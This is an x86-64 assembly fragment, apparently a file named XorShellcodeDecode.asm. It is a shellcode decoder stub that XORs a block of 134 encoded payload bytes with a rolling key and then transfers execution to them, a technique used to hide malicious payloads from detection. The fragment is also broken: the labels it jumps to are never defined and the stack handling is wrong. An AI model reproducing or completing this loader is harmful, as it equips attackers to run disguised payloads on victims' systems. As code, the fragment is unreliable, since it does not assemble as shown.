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section .text
global _start
    jmp     short _get_addr      
    push    rsi                 
    mov     cl, BUFFER_SIZE     
    mov     al, cl             
    add     al, XOR_KEY                    
    add     al, BUFFER_SIZE & 0xFF 
    xor     byte [rsi], al      
    loop    _loop               
    call    _decoder           
encoded_buffer:
    db 0x66, 0x60, 0x60, 0x6D, 0x71, 0xB3, 0xDE, 0xD4, 0x3D, 0x3E, 0x3F, 0x40, 0x1F, 0x0A, 0xC0, 0x82
    db 0x3F, 0xFD, 0x6F, 0x4A, 0x49, 0x4A, 0xC2, 0x93, 0x9C, 0xA1, 0x7E, 0x99, 0x68, 0xAB, 0x20, 0x74
    db 0x5A, 0xE1, 0x53, 0x16, 0x18, 0xD2, 0x9B, 0x9D, 0xB5, 0x56, 0x1E, 0xE8, 0xA0, 0x23, 0xE3, 0x94
    db 0xCE, 0x27, 0xA7, 0xA0, 0x6D, 0x2F, 0x43, 0xA4, 0x29, 0xE6, 0x6B, 0x7E, 0x8E, 0xB3, 0x98, 0xA8
    db 0xFC, 0x8E, 0xF4, 0x98, 0x85, 0xBB, 0x93, 0x7E, 0x4C, 0xB7, 0x46, 0x41, 0xF2, 0x8F, 0x08, 0x90
    db 0x0B, 0x47, 0x45, 0x98, 0x00, 0x9E, 0x05, 0x73, 0x4C, 0x65, 0x60, 0xC7, 0xC7, 0xDA, 0x1A, 0x64
    db 0xDD, 0x97, 0x6F, 0xD0, 0x10, 0x63, 0xD3, 0xAD, 0x4F, 0xD6, 0x1A, 0x69, 0xD5, 0xA8, 0x2B, 0xB4
    db 0xED, 0x59, 0x67, 0xE0, 0x56, 0x63, 0x40, 0x5D, 0xF3, 0xF1, 0xE7, 0x39, 0x5D, 0xEF, 0xEC, 0xFC
    db 0x3C, 0x46, 0xE9, 0xE3, 0x46, 0x5A
BUFFER_SIZE equ  0x86           ; FIXED
XOR_KEY     equ  0x35           ; CHANGES

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XorShellcodeDecode.asm

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XorShellcodeDecode.asm

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